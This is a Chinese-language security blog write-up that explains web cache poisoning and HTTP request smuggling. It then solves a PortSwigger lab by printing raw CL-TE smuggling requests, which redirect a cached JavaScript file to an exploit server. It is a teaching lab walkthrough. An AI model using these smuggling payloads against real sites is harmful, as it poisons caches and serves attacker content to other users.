Http-Sumggling-缓存漏洞
2022-8-5 15:24:5 Author: www.secpulse.com(查看原文) 阅读量:33 收藏
点击蓝字
关注我们
当http请求走私和web缓存碰到一起会产生什么样的火花呢，让我们看看
在接触Http Sumggling 缓存漏洞前，我们需要先对Http Sumggling和Web缓存有所了解。
什么是Web缓存
WEB缓存就是指网站的静态文件，比如图片、CSS、JS等，在网站访问的时候，服务器会将这些文件缓存起来，以便下次访问时直接从缓存中读取，不需要再次请求服务器。
缓存位于服务器和客户端之间，通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应，常见的缓存点有
•后端程序缓存
•服务器缓存
•浏览器缓存
•缓存服务器
•CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器
而为了让缓存判断是否需要提供缓存内容，在http请求中会存在缓存键 X-Cache，缓存键叫什么决定于架构师，但都是一个概念

什么是web缓存漏洞

如上图所示，假设小紫小黄小绿都在服务器划分的同一批特定请求中，那么小紫一开始访问服务器时，经过缓存键X-Cache: Miss的判定，是首次访问，所以直接连接到Server服务器，而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit，即只需连接Cache缓存服务器，不再连接到Server服务器，借此减少了Server服务器的运行负荷

这无疑是一个很不错的设计，但一旦被有心之士利用，那就会发生一些不好的事情了

如图，当攻击者改了一些包发送到后端，导致后端返回一些恶意数据，比如xss、注入等问题，而由于缓存的机制，后续的正常用户访问时就会读取缓存服务器的恶意缓存，这就是常见的web缓存漏洞，也叫缓存投毒
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术，其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的
一般可分为以下几种
•CL: Content-Length
•TE: Transfer-Encoding
•CL不为0的GET请求
•CL-CL
•CL-TE
•TE-CL
•TE-TE
在[email protected]知道创宇404实验室的文章中有了十分详细的论述，我这就不再赘述
https://paper.seebug.org/1048/#35-te-te
Http Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场
解法
判断是否存在走私，确定为CL-TE
POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

第一次请求为

image.png

第二次请求为下半段

image.png

可以看到存在302跳转
然后我们需要找到哪里进行缓存投毒，这里我以/resources/js/tracking.js进行投du

可以看到X-Cache为miss，这样我们就可以利用修改，进行缓存投du
•先点击send post包
 POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10
x=1

 访问到第一部分

 

•然后在/resources/js/tracking.js send包

 

 可以发现成功投du，缓存键为miss，那下一个包应该就可以成功转接到exploit上，我们试试
•对原界面进行抓包，多试几次

 

 发现host成功变为我们的exploit
后言
漏洞越来越多，也会越来越复杂，不再是单一的某种漏洞这么简单，多种漏洞复合是未来标志
参考
•https://xz.aliyun.com/t/6878
•https://paper.seebug.org/1048/

本文作者：合天网安实验室

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/184807.html


文章来源: https://www.secpulse.com/archives/184807.html
如有侵权请联系:admin#unsafe.sh